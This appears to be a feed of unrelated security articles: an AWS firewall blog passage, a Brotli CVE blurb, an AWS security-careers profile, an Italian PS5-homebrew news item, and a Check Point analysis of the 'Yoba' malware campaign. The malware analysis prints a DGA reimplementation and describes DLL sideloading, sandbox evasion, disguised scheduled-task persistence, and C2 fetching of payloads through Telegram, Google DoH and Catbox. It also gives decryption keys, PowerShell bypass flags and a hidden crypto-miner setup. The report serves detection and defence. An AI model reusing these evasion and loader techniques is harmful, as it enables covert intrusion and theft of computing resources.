this example, a workload sends files over SFTP to a partner at files.partner.example.com on TCP port 22, and the partner can change the addresses behind that name at any time. The same approach works for SSH, MySQL, and other non-web protocols. You create it as a standard stateful rule. Follow these steps: Under Network Firewall , choose Network Firewall rule groups , then choose Create rule group . Choose Stateful rule group and Standard stateful rule , and choose the rule evaluation order that your policy uses. Choose Add rule . For Protocol , choose TCP . For Destination port , enter 22 . Under Domain filtering , enter files.partner.example.com . For Action , choose Pass . Create the rule group, then add it to your firewall policy. Figure 3. A pass rule for SFTP on TCP port 22, scoped to the partner’s domain name If you manage rules as code, the equivalent Suricata rule is shown in the following code. It adds the alert; keyword so that the firewall logs allowed connections. The console rule doesn’t add it. pass tcp any any -> any 22 (alert; msg:"Allow TCP/22 to files.partner.example.com"; aws_route_53_resolved_domain:"files.partner.example.com"; sid:1;) When the partner moves its server to a new address, the next DNS answer adds it to the resolved IP cache. There’s no IP list to maintain. The cache keeps earlier answers for longer than their DNS time to live (TTL), so the old address can still pass for a while. Use case 2: Prevent SNI spoofing without TLS inspection With SNI spoofing, a client presents an allowed domain name in its TLS request while it connects to a different server. Preventing that has required TLS inspection , which decrypts the traffic. Route 53 Resolved IP Validation prevents it without TLS inspection. In this example, a workload calls a partner API at api.partner.example.com over HTTPS. TLS traffic on port 443 must reach only the addresses that Route 53 Resolver returned for that name. You create a pass rule in a standard stateful rule group, as in use case 1, and the firewall policy’s default action drops everything that no rule passes. Follow these steps: Under Network Firewall , choose Network Firewall rule groups , and then choose Create rule group . Choose Stateful rule group and Standard stateful rule , then choose Strict order . Choose Add rule . For Protocol , choose TLS . For Destination port , enter 443 . Under Domain filtering , enter api.partner.example.com . For Action , choose Pass . Create the rule group, then add it to your firewall policy. In the firewall policy, use strict rule order. For the stateful default actions, choose Application drop established (server-directed only) and Application alert established (server-directed only) . The alert action logs what the drop action blocks. For why we recommend these default actions, see Firewall policy configuration in the AWS Security Services Best Practices guide . Figure 4. A pass rule for TLS on port 443, scoped to the partner’s domain name If you manage rules as code, the equivalent Suricata rule is: pass tls any any -> any 443 (aws_route_53_resolved_domain:"api.partner.example.com"; sid:2;) The pass rule matches the destination address, not the name in the TLS request. TLS traffic on port 443 passes only when Route 53 Resolver returned the destination address for api.partner.example.com. If the partner’s addresses also serve other domain names, such as behind a content delivery network (CDN), those names pass too. To also require the partner’s name in the TLS request, add an exact SNI match to the same rule: tls.sni; content:"api.partner.example.com"; startswith; endswith; nocase; . Without startswith and endswith , the content match accepts any SNI that contains the name. A connection that presents the partner’s name but goes to another address doesn’t match the pass rule. If Route 53 Resolver never returned that address, the policy setting’s enforcement action blocks the connection before your rules run. In alert mode, the policy setting lets the connection through to your rules instead, and the stateful default action drops it because the pass rule doesn’t match. Its alert log record shows route53_resolved_ip as false , as in the second example previously. If Route 53 Resolver returned the address for a different domain name, the connection passes the policy check. The stateful default action then drops it because the pass rule doesn’t match, and that record shows route53_resolved_ip as true . Best practices We recommend that you follow these best practices: Keep DNS on Route 53 Resolver – Block outbound UDP and TCP port 53 DNS to other resolvers, including DNS over HTTPS (DoH) and DNS over TLS (DoT), on Network Firewall, so that clients don’t bypass the check. Route 53 Resolved IP Validation alone doesn’t do this. If any client looks up a public resolver’s name, such as dns.google , that resolver’s addresses pass the check. Keep DNS Firewall rules in those VPCs – Route 53 Resolved IP Validation checks the connections that follow a DNS lookup, not the DNS queries themselves. DNS Firewall blocks lookups of known threat domains with AWS managed domain lists, and its advanced rule groups detect data leaving through DNS queries, such as DNS tunneling. Start small – Add domain filtering to a few rules at a time, then add more when the results look clean. For domain allow list patterns, see Allow rules and domain allowlisting . Turn on flow and alert logging and detailed monitoring – Connections that fail the resolved IP check show in your flow logs ( route53_resolved_ip: false ) and in the DnsUnresolvedFlows metric, not in your alert logs. Pass rules without the alert; keyword don’t write an alert log record. Pricing and availability Route 53 Resolved IP Validation is available today in all commercial AWS Regions (Regions other than the AWS GovCloud (US) Regions and the China Regions) where AWS Network Firewall and Amazon Route 53 Resolver DNS Firewall are available, at no additional charge. For the list of Regions, see AWS Capabilities by Region . A DNS Firewall rule group with no rules doesn’t incur DNS Firewall charges. Standard DNS Firewall pricing applies after you add rules. See AWS Network Firewall pricing and Amazon Route 53 pricing . Conclusion In this post, we showed you how Route 53 Resolved IP Validation works and how to turn it on in alert mode. Network Firewall now checks each connection’s destination against the IP addresses that Amazon Route 53 Resolver returned for the DNS query. Filtering SFTP, SSH, database, and other non-web traffic by domain name and preventing SNI spoofing without TLS inspection are two common examples of what that makes possible. To get started, turn the feature on in alert mode and review the results before you enforce. For the full walkthrough, see Getting started with resolved IP validation . To learn more, visit the AWS Network Firewall product page and the feature documentation . If you have questions about this post, contact AWS Support . Lawton Pittenger Lawton is a Worldwide Security Specialist Solutions Architect at AWS, based in New York City. He specializes in helping customers design and implement effective network security controls. At AWS, he works with customers at scale and collaborates closely with service teams to drive continuous improvement in security services based on customer needs and feedback. Outside of work, his interests include skateboarding, snowboarding, and spending time in nature. Amish Shah Amish is a seasoned product leader with over 15 years of experience in developing innovative and scalable solutions for networking, security, and cloud use cases. He currently leads the AWS Network Firewall service, where he helps to develop security solutions that protect AWS workloads. Outside of work, Amish enjoys playing cricket and soccer, loves to travel, and has recently started collecting niche fragrances. Amit Gaur Amit, a Cloud Infrastructure Architect at AWS, brings his passion for technology and knowledge-sharing to the networking community. Specializing in network architecture design, he helps customers build highly scalable and resilient environments on AWS. Through technical guidance and architectural expertise, Amit enables customers to accelerate their cloud adoption journey while making sure their systems are built for scale and reliability. Jesse Lepich Jesse is a Senior Security Solutions Architect at AWS based in Lake St. Louis, Missouri, focused on helping customers implement native AWS security services. Outside of cloud security, his interests include relaxing with family, barefoot waterskiing, snowboarding and snow skiing, surfing, boating, and mountain climbing. Preetkumar Shah Preetkumar is a Technical Account Manager at AWS, based in Atlanta, GA. He specializes in helping customers design and operate secure, scalable network architectures in the cloud. At AWS, he works with SMB customers and collaborates closely with service teams to proactively resolve complex challenges and ensure customers get the most from their AWS environment. Outside of work, his interests include spending time with family and going on trails.

A vulnerability in Brotli, Google’s widely used open-source compression library, is putting a broad range of software at risk. About CVE-2026-111497 Alternatively known as “Node2Shell”, “Broccoli2Shell” and “Brotli2Shell”, CVE-2026-111497 is a remotely exploitable out-of-bounds write flaw that gained widespread attention after Node.js publicly disclosed it on October 21, 2026. “An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory, which can lead to a crash, disclosure of process … More → The post Brotli bug reaches far beyond Node.js (CVE-2026-111497) appeared first on Help Net Security .

The most important work I’ve done in cybersecurity would make for terrible television. There were no countdown clocks and no frantic typing, just a lot of careful reading, a lot of hard conversations, and the occasional quiet moment where everything finally clicked. That’s the part I want to show you this week, because the three people I talked to have built their entire careers on the work that happens off-camera, and it’s the part that decides who lasts in this field. This is a four-part series following 11 AWS security professionals through the real stories of how they got here and what the work actually looks like. In Part 1: I didn’t plan this , I shared how three of them found their way in, and in Part 2: What even is this job? , we looked at roles most people don’t know exist. This week is about what the day-to-day actually feels like, told through three AWS security professionals whose work rarely makes it into the trailer but is the reason any of it holds together. Unlimited ammo Brandon Caldwell, Mgr, Security Engineering Ask most people to picture an application security engineer at work and they’ll imagine someone hunched over a terminal breaking into systems. Brandon Caldwell ‘s actual days (reviewing software while it’s being built so the flaws never ship) look almost nothing like that. He spends them in conversation: sitting with the engineers who built a product, walking through how it works, and asking question after question until he understands it well enough to see where it could break. “This job is at least 50 percent people,” he tells the folks he hires. “You have to people a lot.” The hardest part of the day isn’t technical, it’s human. Brandon’s team has to hand builders news they don’t want to hear, and he’s blunt with new hires about what that really feels like. “Our job is to go tell someone their baby is ugly. I use that phrase because it is meant to draw out empathy. This is the thing they love and spent time on, and you show up at the end and say that thing is ugly. Of course they are going to react.” – Brandon Caldwell Learning to deliver that message without crushing the person across the table is, in his telling, the actual craft of the job. It’s why he prizes empathy, and why he says the engineers who struggle most in application security are the ones who got into tech specifically to avoid talking to people. The rest of the day is the patient, unglamorous work of reading someone else’s code closely enough to find the one flaw they didn’t know they’d left, then explaining it in a way that lands as help rather than judgment. That explaining is more than a conversation. So much of security work gets written down: the finding documented so an engineer can act on it, the advisory that tells customers what to do, the policy that sets the bar for everyone who comes after. The ability to write clearly, to turn something messy and technical into a few sentences a reader can actually use, is one of the quiet differentiators as you move up in this field, and it’s a skill worth building long before anyone asks you to. None of this is where Brandon started. He’s been curious about breaking things since he was a kid hex-editing the game Doom for unlimited ammo, taught himself reverse engineering (taking apart finished software to understand how it works) before it had a name, and spent years as an IT admin and then in incident response at Microsoft back when cybersecurity barely existed as a job title. What pulled him off the breaking side was noticing—after watching the same handful of mistakes scroll past again and again (things like SQL injection and cross-site scripting, two of the most common ways attackers exploit a poorly built website)—that he’d rather help teams avoid the break-in than perform it. Application security, he says, is his natural place. As for breaking in yourself, Brandon’s advice follows straight from how he spends his days: practice interviewing and asking the right questions and spend real time around builders so you understand what goes into the thing you’re critiquing. When he hires, certifications are the last thing he looks at; he wants to see capture-the-flag competition results (hacking contests where you solve security puzzles to earn points) and public GitHub projects, because those prove you’ve done the work. Build something, break something, and get comfortable talking to the people who build. Forget that Kurt Heath, IT Support Associate Kurt Heath ‘s chosen corner of the work is offensive security: penetration testing (getting paid to legally break into systems to prove where they’re weak) and, eventually, red teaming. The day-to-day of getting good at it is far less cinematic than the label suggests. It’s hours of hands-on practice against deliberately vulnerable targets, reading about a technique and then trying it until it works, and the slow accumulation of the layers the job actually rests on: operating systems, networking, software development, and security fundamentals, all applied at once. He’s the first to say pen testing is “the sexy thing” that gets advertised, and the first to warn that it shouldn’t be anyone’s first stop, because of how much quiet groundwork sits underneath it. A big part of his real workday now is deciding how, and how much, to lean on AI. Kurt treats it as a tool rather than a crutch: he uses it as a coding assistant when he has to work in an unfamiliar language, and to sort through large volumes of information quickly, but he won’t let it think for him. He still fills out forms like this blog’s questionnaire by hand, keeping a personal touch on his own work, and he’s wary of letting AI pull the trigger during an engagement, since an overzealous tool can act on a network however it sees fit, cause unintended operational damage, or wander out of scope and create a legal problem. The way he sees it, security is fundamentally a human problem: automation keeps getting better at the systematic parts, but thinking outside the box the way an attacker does stays stubbornly human. How Kurt got here matters less to the day-to-day than how he keeps going, but it’s worth knowing that he’s largely self-taught. After a community college program didn’t work out, he taught himself from scratch, finishing shifts at an auto plant and then spending nights with YouTube and a search bar learning how computers and networks actually worked. The hardest part, he told me, was self-motivation, and what carried him through was a mix of sheer want and, eventually, other people: the friends and community he found in Discord servers, security podcasts, and interest channels who helped him turn raw drive into real focus. He even got a tattoo as a reminder that there is no plan B. “There is no other option. There’s no what if. This is it. This is life now, and I’ll figure it out some way, somehow, no matter how long it takes.” – Kurt Heath If you’re drawn to the same offensive work, Kurt’s advice is to resist starting there. Build the foundation first, often through a role like a security operations center, join the communities where people are learning in the open, and let the flashier work come after the groundwork is solid. Progress in this field—in his experience—is measured less by the title you land than by how much you grow and who you grow alongside. The comfort lock Seth Jeacopello, Mgr, Security Engineer Seth works in application security too, but if Brandon’s days are mostly about people, Seth’s are mostly about code, which makes the two of them a useful picture of how differently the same job can look. When Seth Jeacopello gets stuck on a hard problem, he doesn’t stare at it harder, he picks up a lock. An actual physical lock with pins and tumblers, because he’s a serious lock-picking hobbyist, and over the years he’s learned that the best response to hitting a wall is to set the problem down and pick what he calls a comfort lock, one he knows well and can open easily. It isn’t about the lock; it’s about giving his brain a small win so he can return to the hard thing with fresh eyes. The comfort lock exists because Seth’s actual day-to-day is easy to get lost in. In application security, a big part of the job is reading enormous amounts of someone else’s code looking for the one flaw that matters, and as a lifelong developer he genuinely loves reading code, which is exactly what makes it a trap. He described the pull of it to me: you convince yourself the vulnerability is just behind the next function, and the next, and suddenly two days are gone. The skill he’s spent decades sharpening isn’t finding things, it’s knowing when deep enough is deep enough and when to step back, which is where the lock comes in. After 26 years, the meta-skill of managing his own attention is as much a part of the craft as anything technical. That longevity goes back a long way. Around 1999, still in his teens, he landed a software quality assurance internship, was hired as a developer by 17, and gravitated toward the security-flavored work from the start before moving into network security tooling, rising to chief architect and then chief technology officer along the way. “We’re like three or four guys off the street coming in with a product, and this huge company was like, yeah, you three, go for it. That was probably one of the coolest things.” – Seth Jeacopello His advice for building the instincts the daily work demands is refreshingly concrete: set up a deliberately vulnerable practice machine, break into it, and then go read the logs it generated, so you learn not just how an attack works but what it looks like from the defender’s side. That single exercise builds both the offensive and the investigative muscle at once, and it’s the kind of patient, repeatable practice that the day-to-day of this field actually rewards. The thread There’s a version of cybersecurity that makes for great television, fast-paced and full of eureka moments, and those moments do exist. But the three people I talked to this week live in a different version of the field, one built on patience, repetition, and a kind of stubborn care that doesn’t photograph well. For Brandon, the real work is the hard, human conversation of telling a builder their work is flawed without making an enemy of them. For Kurt, it’s the unglamorous hours of hands-on practice and the discipline to use AI as a tool without letting it think for him. For Seth, it’s reading one more page of code and knowing when to stop, with a comfort lock on the desk for when he can’t. None of that makes a great action sequence, but all of it is what a security career actually looks like, and the good news for anyone starting out is that these are learnable habits, not inborn talent. Notice how much of the real work is human: empathy, patience, judgment, and knowing how your own mind works. The analytical, interpersonal, and self-management skills you already have are not a consolation prize, they are part of the job. If you want to begin building the rest, here are a few places to start: TryHackMe and Hack The Box let you stand up deliberately vulnerable machines, break in, and study what you triggered, exactly the exercise Seth recommends The OWASP Top 10 explains the most common application security flaws, including the ones Brandon saw on repeat The OWASP Cheat Sheet Series turns those flaws into practical, task-level guidance on how to build and review software securely; the daily bread of Brandon’s and Seth’s work The Darknet Diaries podcast tells the human stories behind real security incidents, and it’s a good way to hear what the work actually feels like And if you want to build cloud security skills specifically, AWS has free and hands-on resources to help you start: AWS Skill Builder offers more than 1,000 free self-paced courses, including security learning plans you can start today AWS Builder Labs lets you practice in a real AWS console on hands-on security labs, the stand-it-up-and-try-it approach Seth recommends In Part 4: What I’d tell myself, we close the series with the advice and hard-won lessons these professionals would hand to someone just starting out. Doing the work behind the work? These three want you to know it counts. Share your story on LinkedIn! Shannon Brazil Shannon is a senior security engineer, managing a team on the AWS Customer Incident Response Team (CIRT), specializing in digital forensics and cloud security investigations. Known in the community as AWSlady, she is passionate about security education and mentoring the next generation of defenders.

Gli sviluppatori di software non ufficiale per PlayStation 5 continuano ad espandere la libreria della console giapponese di ultima generazione oltre i limiti previsti dai suoi creatori presso la corporation Sony Interactive Entertainment. Come ha osservato il portale Videocardz , l’ingegnere tedesco Leonardo Loba , con lo pseudonimo leolobato, ha rilasciato il launcher Playden, progettato per avviare giochi dal negozio digitale Steam su una PS5 hackerata . La prima versione di Playden è uscita due settimane fa, l’ultima (0.7.0) è stata pubblicata durante il weekend appena trascorso, e al momento leolobato sta testando l’aggiornamento 0.7.1. Il progetto è disponibile nel repository su GitHub . Playden consente di effettuare l’accesso a Steam, scaricare giochi dalla libreria e avviarli dalla schermata principale della PS5 . Il progetto utilizza prospero-win (uno strato di compatibilità basato su Wine), eliminando la necessità di installare Linux sulla console. La funzionalità dei giochi Steam su una PS5 hackerata varia da progetto a progetto. Tra i prodotti compatibili, leolobato menziona Half-Life 2, Team Fortress 2, Doom Eternal, Cyberpunk 2077 e altri. Al momento, Playden non supporta il multiplayer. Lobato avverte che Playden è un progetto in fase di sviluppo iniziale (versione alfa). Inoltre, collegare il proprio account Steam principale a un software sperimentale comporta alcuni rischi. Parallelamente a leolobato, l’entusiasta Mihawk sta lavorando alla realizzazione di giochi Steam su una PS5 hackerata: la sua utility si chiama Mihawk OS (discendente di PS5 Proton) e rappresenta una versione clonata di Windows 11 per PS5. L’arrivo di Playden dimostra come la creatività degli sviluppatori indipendenti possa spingere una console oltre i confini del suo ecosistema originale. Portare Steam su una PlayStation 5 modificata, senza dover installare Linux, rappresenta un esperimento interessante che avvicina due mondi tradizionalmente separati: quello delle console e quello del gaming su PC. Il progetto è ancora agli inizi, ma la rapidità degli aggiornamenti e i primi giochi compatibili mostrano quanto margine ci sia per esplorare nuove possibilità hardware e software. La strada, tuttavia, è ancora lunga: l’assenza del multiplayer, le limitazioni di compatibilità e i rischi legati all’utilizzo di software sperimentale impongono cautela. Playden e Mihawk OS raccontano soprattutto una sfida tecnologica: dimostrare che una macchina progettata per un ecosistema chiuso possa essere utilizzata in modi imprevisti . Resta da vedere fin dove arriveranno questi progetti e se riusciranno a trasformare un esperimento per appassionati in un’alternativa realmente utilizzabile. L'articolo Steam arriva su PS5: così gli hacker aggirano i limiti della console proviene da Red Hot Cyber .

Key Points Check Point Research discovered a campaign we track as Yoba where attackers abuse the popularity of AI tools such as ChatGPT and Claude, creating fake GitHub projects that pretend to be desktop applications like GPT-5.6 Sol , GPT-6 Astra , and Claude Opus . The malware is placed next to legitimate, signed executables from OpenAI and Anthropic so it can be loaded indirectly, a technique commonly known as DLL sideloading, which is often used to bypass security protections. This campaign demonstrates strong operational security (OPSEC) by avoiding dedicated command-and-control (C2) infrastructure and instead relying on Telegram, Tor, Catbox, and DNS over HTTPS (DoH). The actor behind the campaign shows indicators that suggest Russian origins and appears to operate primarily in the UTC-4 time zone. Introduction Over the past two months, we have been tracking a campaign that abuses the popularity of AI tools such as ChatGPT and Claude to spread a custom malware chain we call Yoba . The attackers use fake GitHub projects that pretend to be AI desktop applications like GPT-5.6 Sol , GPT-6 Astra , and Claude Opus . These projects look convincing and use real GitHub infrastructure, which helps them appear legitimate to potential victims. The website exhibits search-targeted content and suspicious installer-delivery tactics consistent with an SEO-poisoning lure. Inside the installers, there is a malicious component we refer to as the YobaDropper . This dropper includes another component, the YobaLoader , which is responsible for contacting attacker-controlled infrastructure and fetching the final payload. In this report, we describe how victims are lured to these fake projects, how the YobaDropper and YobaLoader work together, and how the attackers ultimately use this chain to run unwanted software on infected systems. Figure 1 — GPT-6 Astra campaign, attack chain. GitHub Repositories The initial access occurred via malicious GitHub repositories. The projects were impersonating ChatGPT and Claude related models, more specifically GPT-5.6 Sol, GPT-6 Astra, and Claude Opus. No manipulation of fake engagement (stars/forks) was in place. Figure 2 — GitHub repository. Aside from the repositories, GitHub.io pages were used to describe the capabilities of the software, while the malware was hosted as a release. Figure 3 — GitHub.io page with links to malicious release. These phishing landing pages contain download links that point directly to the malicious ZIP releases hosted on GitHub. Figure 4 — Claude Opus GitHub[.]io page. While the repositories do not show signs of fake engagement (such as artificially inflated stars or forks) that would promote them within GitHub’s own search, they still appear among the top results on Google. This is most likely due to SEO poisoning, where the attackers optimize titles, descriptions, and hosting domains to make their malicious projects rank highly in external search engines. Figure 5 — Google Search results. Each repository uses a different email address ( edwardcarlsonmkym[@]outlook[.]com , daxschneiderdjuu[@]outlook[.]com , and rioprestonlfyx[@]outlook[.]com ), and the uploader appears to operate in UTC+4 , UTC-4 , and UTC+3 respectively. This inconsistency likely reflects a deliberate attempt to obscure the threat actor’s true operational timezone. Repositories’ initial commits: Repository: /gpt-5-6/sol-free-desktop ================================================== [2026-07-16T14:39:40Z] Author: gpt-5-6 tree aebceccb0f3303806c35a73da865b684594487c1 author gpt-5-6 <[email protected]> 1784212780 +0400 committer GitHub <[email protected]> 1784212780 +0400 Initial commit ================================================== Repository: /gpt-5-6/gpt-5-6.github.io ================================================== [2026-07-16T14:44:31Z] Author: gpt-5-6 tree 249dae41d64583a6a9ebcb60e3ad36d6216dd6e4 author gpt-5-6 <[email protected]> 1784213071 +0400 committer GitHub <[email protected]> 1784213071 +0400 Initial commit ================================================== Repository: /opus-5-0/opus-5-0.github.io ================================================== [2026-08-31T21:33:26Z] Author: opus-5-0 tree 46ae1f147cf70d4df1471f0e9df46b654d11fe9c author opus-5-0 <[email protected]> 1788212006 -0400 committer GitHub <[email protected]> 1788212006 -0400 Create readme.md ================================================== Repository: /gpt-6-astra/gpt-6-astra.github.io ================================================== [2026-09-04T22:56:13Z] Author: gpt-6-astra tree 028bfd4c1041dc1f030c9480a463366e6089e661 author gpt-6-astra <[email protected]> 1788562573 +0300 committer GitHub <[email protected]> 1788562573 +0300 Initial commit ================================================== Although the first repository was created around July 2026, the first two malicious releases were not uploaded until the end of August, and a third malicious release followed approximately five days later. Release: /gpt-5-6/gpt-5-6.github.io/releases/tag/v5.6.0 [2026-08-30T19:15:44Z] gpt-5-6 Uploaded sol-setup.zip (application/zip) (269) ================================================== Release: /opus-5-0/opus-5-0.github.io/releases/tag/Release_v5.0.0 [2026-08-31T21:38:13Z] opus-5-0 uploaded Setup-Claude.zip (application/zip) (82) ================================================== Release: /gpt-6-astra/gpt-6-astra.github.io/releases/tag/Astra [2026-09-04T23:14:11Z] gpt-6-astra Uploaded GPT-6-Astra-Setup.zip (application/zip) (352) Malicious zip files hosted on GitHub and other legitimate platforms are usually password-protected , since this prevents automated tools from unpacking and therefore analyzing them. However, neither of these repositories used password protection, as the binaries already had very low detection rates thanks to their anti-sandbox and other anti-analysis techniques. Figure 6 — Low detection rate. While the two ChatGPT-related releases and their repositories were created about five days apart, the ZIP files contain mostly the same files, including the malicious components, and they maintain the same IoCs. Filenamesol-setup.zip (ChatGPT)GPT-6-Astra-Setup.zip151.0.7922.174.manifest2026-08-30 15:11:18N/AD3dx9_41.dllN/A2021-10-18 17:58:06owl-shell-runtime.json2026-08-30 15:11:182026-08-30 15:11:18Setup.exe2026-08-30 15:11:182026-08-30 15:11:18snapshot_blob.bin2026-08-30 15:11:182026-08-30 15:11:18v8_context_snapshot.bin2026-08-30 15:11:182026-08-30 15:11:18vk_swiftshader.dll2026-08-30 15:11:182026-08-30 15:11:18vk_swiftshader_icd.json2026-08-30 15:11:182026-08-30 15:11:18vulkan-1.dll2026-08-30 15:11:182026-08-30 15:11:18 winmm.dll 2026-08-30 15:14:20 2026-08-30 15:14:20 By adding the compilation timestamps to this these time-related operations, we are able to determine which files appear to contain the malicious functionality without performing any initial analysis. FilenameCompilation Timestamp (UTC)D3dx9_41.dll2076-06-18 21:48:40Setup.exe2026-08-19 20:00:27vk_swiftshader.dll2026-08-19 20:00:27vulkan-1.dll2026-08-19 20:00:27 winmm.dll 2026-08-30 19:14:19 The file that immediately stands out is winmm.dll , which was compiled the same day it was added to the ZIP archive. This suggests it is the component with the malicious functionality, while the other files serve to make the package appear legitimate. The compilation timestamp also indicates the actor is operating in the UTC-4 timezone . Furthermore, Setup.exe , a legitimate signed OpenAI executable, is used during execution to sideload the malicious DLL. The Setup-Claude.zip file contains the same structure, though in this case Setup.exe is a legitimate signed Claude executable. Figure 7 — Signed OpenAI and Anthropic binaries. YobaDropper – winmm.dll The malicious DLL contains multiple export names, suggesting that the legitimate winmm.dll has been spoofed. As in many other cases, these exports exist but their code has been stripped out, leaving them mostly empty and reducing the size of the binary. Figure 8 — Stripped code from exports. All 180 exports contain just a return instruction ( C3 ) followed by NOPs ( 90 ), and DllEntryPoint is the only one containing actual code. Anti-Analysis, Pre-Checks The first function implements an anti-sandbox technique: the malware hashes the basename of its host executable and checks whether the checksum matches the hardcoded value 0xE6C2F326 . The hashing algorithm has been identified as DJB2, which other malware families have also used in the past. The malware expects to run under the name Setup.exe , so this check fails if the DLL is executed on its own inside a sandbox environment. Figure 9 — DJB2 algorithm and hash check. Although a failed check does not terminate the process, the DLL performs 200,000 iterations of Sleep(5500) , amounting to approximately 12.73 days, while repeatedly appending the decoded filler string pddy to a local UTF-16 buffer. In the second function, the malware checks whether the infected user is located in a CIS country by inspecting the system’s keyboard layout. Ukraine was historically included in such checks, but it is not in the list used by recent malware. The language check is unusual. Instead of comparing the victim’s keyboard language ID against hardcoded values, the malware checks whether the ID falls within the range 0x19 – 0x44 . For IDs in that range, it tests the corresponding bit in the bitmask 0xEC0400C8401 to determine whether the language belongs to a CIS-region country, with an explicit exception for ID 0x22 (Ukrainian). Bazarloader has used a similar technique in the past, with the bitmask 0xD8080190C03 . Figure 10 — Language checks. Language IDs excluded from the infection: Russian Belarusian Tajik Armenian Azerbaijani Georgian Kazakh Kyrgyz Turkmen Uzbek Tatar The malware continues to resolve Windows API functions dynamically from kernel32.dll and ntdll.dll by comparing hashes of the exported function names. The hashing algorithm is again DJB2, with the initial value 0x1505 . The last check before the malware unpacks and deploys the embedded payload tests whether the process is running with administrator privileges. If it is not, the malware displays the message “Please run this program as Administrator.” to the victim and terminates itself, requiring the user to rerun it with elevated privileges. Deploying Phase The dropper contains multiple XOR-encrypted strings that are decrypted when needed. These strings include the file paths where the embedded binaries are dropped, as well as the decryption keys. It creates a directory under ProgramData named WMProcess . Then it copies the original WMPDMC.exe from System32 into this newly created folder. Next, it decrypts the embedded payload using the string IRANNUMBERONE as the XOR seed and drops the decrypted payload in the same folder under the name wmpdui.dll . Using scheduled tasks, the dropper maintains persistence by leveraging the legitimate executable, which will sideload the malicious payload. To make the task appear legitimate, it sets the author to Microsoft Corporation and the description to Collects device metadata for Windows Media Player. . It also sets the boot-trigger delay to PT3M , which corresponds to a 3-minute delay after system startup, and configures the task to run under the Local System account ( S-1-5-18 ). YobaLoader – wmpdui.dll The second-stage payload contains the same code as the dropper, which indicates that the same developer is responsible for both components. The same anti-sandbox technique is used, forcing the malware to be run only by WMPDMC.exe . It again checks the hash of the process basename, and only continues execution if this value matches the hardcoded hash 0x552751E3 . The dropper uses the DJB2 hashing algorithm to hash and verify the process name and to resolve Windows API functions, both with the same seed 0x1505 . The loader (YobaLoader) also uses DJB2 for the process name with the same seed as the dropper, but for resolving Windows API functions it uses a different seed, 0x1DEB . Figure 11 — Hashing windows API functions. The developer reused the same string-hashing algorithm but changed the seed ( 0x1505 in the dropper, 0x1DEB in the loader) to separate the hash spaces for each stage, complicating analysis, and reducing the effectiveness of hash-based detection and automated tooling. Network The downloader uses an interesting process to obtain the next-stage payload. It first decrypts multiple strings using a simple XOR operation, among these strings is the URL of a Telegram channel, t[.]me/yoba_fanclub . It then visits this channel using the user-agent string Mozilla/5.0 (Windows NT 10.0; Win64;) and parses the HTML source to extract the src URL of the element with the class tgme_page_photo_image . This class refers to the location where the channel’s profile image is hosted. Figure 12 — Telegram channel. It downloads the image and uses the last 50 bytes as a seed to generate a domain based on three lists of dictionary words, which are decrypted as part of the DGA algorithm. This DGA algorithm uses three sets of strings: Adjectives Nouns Verbs Finally, it generates and appends an integer value in the range 0–999 . The generated domain has the following format, "$adjective-$noun-$verb-$digit.dedyn[.]io" . By changing the image of the Telegram channel, a new domain can be generated. The following Python snippet represents the DGA algorithm: """ Author: @Tera0017/Check Point Research """ from pathlib import Path import sys ADJECTIVES = [ "silver", "amber", "wild", "tiny", "brave", "lucky", "calm", "sharp", "swift", "bright", "quiet", "bold", "gentle", "fierce", "royal", "mystic", "username", "degenerate", "allblack", "kizta", "graf", ] NOUNS = [ "tiger", "river", "stone", "cloud", "wolf", "ocean", "forest", "mountain", "eagle", "raven", "ember", "comet", "fox", "dragon", "piano", "viper", "yoba", "yyoba", "static", "cpp", "example", ] VERBS = [ "runs", "jumps", "sings", "sleeps", "flies", "hunts", "burns", "floats", "shines", "whispers", "roars", "dreams", "strikes", "glides", "watches", "hides", "duty", "free", ] FNV_MULTIPLIER = 0x1000193 MASK64 = 0xFFFFFFFFFFFFFFFF def hash_bytes(data: bytes, seed: int) -> int: value = seed for byte in data: value = ((value ^ byte) * FNV_MULTIPLIER) & MASK64 return value def generate_domain(image_path: str) -> str: image = Path(image_path).read_bytes() if len(image) < 50: raise ValueError("Image must contain at least 50 bytes") tail = image[-50:] adjective = ADJECTIVES[hash_bytes(tail, 0x811C9DC5) % len(ADJECTIVES)] noun = NOUNS[hash_bytes(tail, 0xAF0154A5) % len(NOUNS)] verb = VERBS[hash_bytes(tail, 0xFE5439E4) % len(VERBS)] number = hash_bytes(tail, 0xFFA7471A) % 1000 return f"{adjective}-{noun}-{verb}-{number}.dedyn[.]io" if name == "main": image_file = sys.argv[1] print(generate_domain(image_file)) It then queries Google’s DNS-over-HTTPS (DoH) API to obtain an encrypted command from a DNS TXT record, using a URL of the form https://dns[.]google/resolve?name=$DGA&type=TXT . By relying on a DoH service and common file-hosting platforms, the actor aims to bypass passive DNS monitoring and some gateway-based security protections, making their command-and-control traffic harder to distinguish from regular user activity. Figure 13 — DNS TXT record, base64 encoded data. It decodes the Base64-encoded data field from the JSON response and validates it using Ed25519 signature verification with the public key b5c2d20623d4e6647d06a42864edd8629f82c5c384b243fdaeeeca24b3873d64 . Once the signature validation succeeds, it decrypts the decoded value using AES in ECB mode with the key 1d0d1368b4d53f3a6322cf40e84e63db . Decrypted response: 1https://files.catbox[.]moe/z5zpy9.dat The downloader retrieves the encrypted payload and decrypts it using the same AES key and ECB mode that were previously used for the DNS data. The malware provides three methods for deploying the downloaded payload. The selected method is indicated by the first character of the decrypted response that follows the URL (1/2/3): Injects the downloaded payload into svchost.exe (NtWriteVirtualMemory/NtCreateThreadEx). It enumerates running processes and, using the hashing algorithm with the seed 0x1DEB , searches for the hash value 0xC26CDEA5 , which corresponds to svchost.exe . Saves the payload as a %TEMP%\$10_rand_char\$10_rand_char.exe file and executes it. Before running the executable, the downloader removes the Zone.Identifier alternate data stream, which is hidden metadata used by Windows to track the origin of downloaded files. Saves the payload as a %TEMP%\$10_rand_char\$10_rand_char.ps1 PowerShell script and invokes it with the following parameters: -WindowStyle Hidden -ExecutionPolicy Bypass -File . Finally, the injected payload into svchost.exe is an XMRig 6.26.0 miner with a hidden command line targeting a TLS-enabled onion mining endpoint through a local Tor SOCKS5 proxy. It can unpack and start Tor 0.4.9.12 plus lyrebird 0.8.1, monitor user-input activity to pause mining, and conditionally load the WinRing0 driver service for MSR-based mining optimization. FieldValueMining server 3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443 Pool password/token dcde1f56048fa18657dc4820397592f7 TLSEnabled ( --tls )Proxy socks5://127.0.0[.]1:9550 Donation level 0 CPU thread hint 85% User-active pauseResume after 240 seconds idleSingleton 